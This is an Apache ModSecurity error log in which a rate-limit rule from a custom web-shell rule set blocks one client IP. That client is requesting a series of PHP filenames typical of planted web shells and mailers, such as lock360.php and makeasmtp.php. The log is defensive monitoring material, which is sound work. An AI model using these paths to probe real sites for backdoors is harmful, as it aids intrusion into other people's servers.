[Sun Dec 14 18:49:40.174736 2025] [:error] [pid 39523:tid 39540] [client 4.194.46.139:17421] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/af32.php"] [unique_id "aT6WRDQTQH1raAj2lkjGuwAAAAw"]
[Sun Dec 14 18:49:41.105461 2025] [:error] [pid 40596:tid 40643] [client 4.194.46.139:17464] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rz.php"] [unique_id "aT6WRWvZZo4N2X7WoLxvtgAAAdE"]
[Sun Dec 14 18:49:41.678443 2025] [:error] [pid 40596:tid 40649] [client 4.194.46.139:17527] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rz.php"] [unique_id "aT6WRWvZZo4N2X7WoLxvtwAAAdc"]
[Sun Dec 14 18:49:42.230535 2025] [:error] [pid 40561:tid 40583] [client 4.194.46.139:17422] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rz.php"] [unique_id "aT6WRoY6r869zoqRQkSxxQAAAVI"]
[Sun Dec 14 18:49:42.790187 2025] [:error] [pid 41600:tid 41620] [client 4.194.46.139:17522] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rz.php"] [unique_id "aT6WRtFLTBZjcwNd_VvaQwAAARE"]
[Sun Dec 14 18:49:44.032197 2025] [:error] [pid 39524:tid 39567] [client 4.194.46.139:17442] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/let.php"] [unique_id "aT6WSGrVGpbDzFtDE9PAhgAAAEs"]
[Sun Dec 14 18:49:44.664171 2025] [:error] [pid 39525:tid 39587] [client 4.194.46.139:17408] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/let.php"] [unique_id "aT6WSE1fX_pB_BrvE_4tbQAAAIQ"]
[Sun Dec 14 18:49:45.182735 2025] [:error] [pid 41600:tid 41605] [client 4.194.46.139:10186] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/let.php"] [unique_id "aT6WSdFLTBZjcwNd_VvaagAAAQI"]
[Sun Dec 14 18:49:45.794855 2025] [:error] [pid 13799:tid 13802] [client 4.194.46.139:17513] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/let.php"] [unique_id "aT6WSXjPEin01ElFTNYbaAAAAgA"]
[Sun Dec 14 18:49:47.210981 2025] [:error] [pid 41600:tid 41614] [client 4.194.46.139:17413] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aT6WS9FLTBZjcwNd_VvaxwAAAQs"]
[Sun Dec 14 18:49:47.685790 2025] [:error] [pid 39614:tid 39625] [client 4.194.46.139:17451] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aT6WS_xybG8-9MflbDdIoQAAAMk"]
[Sun Dec 14 18:49:48.695232 2025] [:error] [pid 39524:tid 39563] [client 4.194.46.139:17432] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aT6WTGrVGpbDzFtDE9PAiAAAAEc"]
[Sun Dec 14 18:49:49.355949 2025] [:error] [pid 40595:tid 40607] [client 4.194.46.139:17433] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aT6WTfjrht6y4RN-xKT8wwAAAYg"]
[Sun Dec 14 18:49:49.848145 2025] [:error] [pid 13799:tid 13814] [client 4.194.46.139:17431] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aT6WTXjPEin01ElFTNYbeAAAAgw"]
[Sun Dec 14 18:49:50.369890 2025] [:error] [pid 40596:tid 40628] [client 4.194.46.139:10221] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aT6WTmvZZo4N2X7WoLxvuAAAAcI"]
[Sun Dec 14 18:49:50.816620 2025] [:error] [pid 39525:tid 39597] [client 4.194.46.139:17460] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aT6WTk1fX_pB_BrvE_4tbwAAAI4"]
[Sun Dec 14 18:49:51.481562 2025] [:error] [pid 39524:tid 39572] [client 4.194.46.139:17427] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aT6WT2rVGpbDzFtDE9PAiQAAAFA"]
[Sun Dec 14 18:49:51.970035 2025] [:error] [pid 39614:tid 39632] [client 4.194.46.139:17523] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pn.php"] [unique_id "aT6WT_xybG8-9MflbDdIvQAAANA"]
[Sun Dec 14 18:49:52.830614 2025] [:error] [pid 40596:tid 40644] [client 4.194.46.139:17498] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pn.php"] [unique_id "aT6WUGvZZo4N2X7WoLxvuQAAAdI"]
[Sun Dec 14 18:49:53.569785 2025] [:error] [pid 40596:tid 40636] [client 4.194.46.139:17501] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pn.php"] [unique_id "aT6WUWvZZo4N2X7WoLxvugAAAco"]
[Sun Dec 14 18:50:10.881644 2025] [:error] [pid 40561:tid 40567] [client 4.194.46.139:17481] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aT6WYoY6r869zoqRQkSx3QAAAUI"]
[Sun Dec 14 18:50:11.693166 2025] [:error] [pid 39524:tid 39565] [client 4.194.46.139:17496] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aT6WY2rVGpbDzFtDE9PAjgAAAEk"]
[Sun Dec 14 18:50:12.526654 2025] [:error] [pid 40596:tid 40626] [client 4.194.46.139:10205] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aT6WZGvZZo4N2X7WoLxvywAAAcA"]
[Sun Dec 14 18:50:12.920702 2025] [:error] [pid 41600:tid 41622] [client 4.194.46.139:17462] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aT6WZNFLTBZjcwNd_VvbHAAAARM"]
[Sun Dec 14 18:50:13.361827 2025] [:error] [pid 39525:tid 39591] [client 4.194.46.139:17446] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aT6WZU1fX_pB_BrvE_4teQAAAIg"]
[Sun Dec 14 18:50:14.330655 2025] [:error] [pid 39523:tid 39538] [client 4.194.46.139:17482] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aT6WZjQTQH1raAj2lkjHCAAAAAo"]
[Sun Dec 14 18:50:15.222450 2025] [:error] [pid 39525:tid 39590] [client 4.194.46.139:10189] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aT6WZ01fX_pB_BrvE_4tegAAAIc"]
[Sun Dec 14 18:50:16.225726 2025] [:error] [pid 13799:tid 13813] [client 4.194.46.139:17512] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aT6WaHjPEin01ElFTNYbgwAAAgs"]
[Sun Dec 14 18:50:16.898460 2025] [:error] [pid 40596:tid 40645] [client 4.194.46.139:17483] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aT6WaGvZZo4N2X7WoLxvzgAAAdM"]
[Sun Dec 14 18:50:17.727876 2025] [:error] [pid 39523:tid 39547] [client 4.194.46.139:17420] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aT6WaTQTQH1raAj2lkjHDQAAABM"]
[Sun Dec 14 18:50:19.388531 2025] [:error] [pid 39523:tid 39546] [client 4.194.46.139:17466] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aT6WazQTQH1raAj2lkjHEAAAABI"]
[Sun Dec 14 18:50:20.981141 2025] [:error] [pid 39525:tid 39593] [client 4.194.46.139:17507] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aT6WbE1fX_pB_BrvE_4tgwAAAIo"]
[Sun Dec 14 18:50:21.873955 2025] [:error] [pid 13799:tid 13806] [client 4.194.46.139:17443] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aT6WbXjPEin01ElFTNYbhwAAAgQ"]
[Sun Dec 14 18:50:22.420336 2025] [:error] [pid 39524:tid 39573] [client 4.194.46.139:17487] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aT6WbmrVGpbDzFtDE9PAlAAAAFE"]
[Sun Dec 14 18:50:23.342716 2025] [:error] [pid 39614:tid 39620] [client 4.194.46.139:10192] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aT6Wb_xybG8-9MflbDdI0AAAAMQ"]
[Sun Dec 14 18:50:25.122513 2025] [:error] [pid 13799:tid 13816] [client 4.194.46.139:17435] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aT6WcXjPEin01ElFTNYbiQAAAg4"]
[Sun Dec 14 18:50:26.149221 2025] [:error] [pid 39523:tid 39537] [client 4.194.46.139:10184] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aT6WcjQTQH1raAj2lkjHTAAAAAk"]
[Sun Dec 14 18:50:26.801850 2025] [:error] [pid 40561:tid 40572] [client 4.194.46.139:17528] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aT6WcoY6r869zoqRQkSx4wAAAUc"]
[Sun Dec 14 18:50:28.137121 2025] [:error] [pid 39524:tid 39573] [client 4.194.46.139:17516] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aT6WdGrVGpbDzFtDE9PA3wAAAFE"]
[Sun Dec 14 18:50:30.501613 2025] [:error] [pid 39524:tid 39563] [client 4.194.46.139:17434] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aT6WdmrVGpbDzFtDE9PA4QAAAEc"]
[Sun Dec 14 18:50:30.765567 2025] [:error] [pid 39523:tid 39548] [client 4.194.46.139:10147] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aT6WdjQTQH1raAj2lkjHVQAAABQ"]
[Sun Dec 14 18:50:31.521776 2025] [:error] [pid 41600:tid 41606] [client 4.194.46.139:17414] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aT6Wd9FLTBZjcwNd_VvbKQAAAQM"]
[Sun Dec 14 18:50:32.774539 2025] [:error] [pid 13799:tid 13819] [client 4.194.46.139:17452] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aT6WeHjPEin01ElFTNYbjgAAAhE"]
[Sun Dec 14 18:50:34.808760 2025] [:error] [pid 39525:tid 39599] [client 4.194.46.139:17439] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aT6Wek1fX_pB_BrvE_4toQAAAJA"]
[Sun Dec 14 18:50:35.831257 2025] [:error] [pid 39525:tid 39600] [client 4.194.46.139:17524] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aT6We01fX_pB_BrvE_4togAAAJE"]
[Sun Dec 14 18:50:37.994739 2025] [:error] [pid 39525:tid 39595] [client 4.194.46.139:17411] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aT6WfU1fX_pB_BrvE_4tpAAAAIw"]
[Sun Dec 14 18:50:40.098203 2025] [:error] [pid 39614:tid 39632] [client 4.194.46.139:17506] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aT6WgPxybG8-9MflbDdI7gAAANA"]
[Sun Dec 14 18:50:40.933380 2025] [:error] [pid 40596:tid 40649] [client 4.194.46.139:10176] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aT6WgGvZZo4N2X7WoLxv-QAAAdc"]
[Sun Dec 14 18:50:41.302753 2025] [:error] [pid 39524:tid 39560] [client 4.194.46.139:17461] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uana.php"] [unique_id "aT6WgWrVGpbDzFtDE9PA5wAAAEQ"]
[Sun Dec 14 18:50:42.049671 2025] [:error] [pid 39524:tid 39569] [client 4.194.46.139:17520] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uana.php"] [unique_id "aT6WgmrVGpbDzFtDE9PA7AAAAE0"]
[Sun Dec 14 18:50:42.872713 2025] [:error] [pid 13799:tid 13807] [client 4.194.46.139:17518] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uana.php"] [unique_id "aT6WgnjPEin01ElFTNYbmAAAAgU"]
[Sun Dec 14 18:50:44.029104 2025] [:error] [pid 40596:tid 40637] [client 4.194.46.139:17534] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uana.php"] [unique_id "aT6WhGvZZo4N2X7WoLxwAwAAAcs"]
[Sun Dec 14 18:50:45.015281 2025] [:error] [pid 13799:tid 13822] [client 4.194.46.139:10201] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aT6WhXjPEin01ElFTNYbmwAAAhQ"]
[Sun Dec 14 18:50:45.580683 2025] [:error] [pid 40596:tid 40645] [client 4.194.46.139:10196] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aT6WhWvZZo4N2X7WoLxwBQAAAdM"]
[Sun Dec 14 18:50:45.985782 2025] [:error] [pid 40596:tid 40632] [client 4.194.46.139:10239] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aT6WhWvZZo4N2X7WoLxwBgAAAcY"]
[Sun Dec 14 18:50:47.695584 2025] [:error] [pid 39525:tid 39606] [client 4.194.46.139:17472] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aT6Wh01fX_pB_BrvE_4tqgAAAJc"]
[Sun Dec 14 18:50:49.285625 2025] [:error] [pid 39524:tid 39573] [client 4.194.46.139:10226] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aT6WiWrVGpbDzFtDE9PBBwAAAFE"]
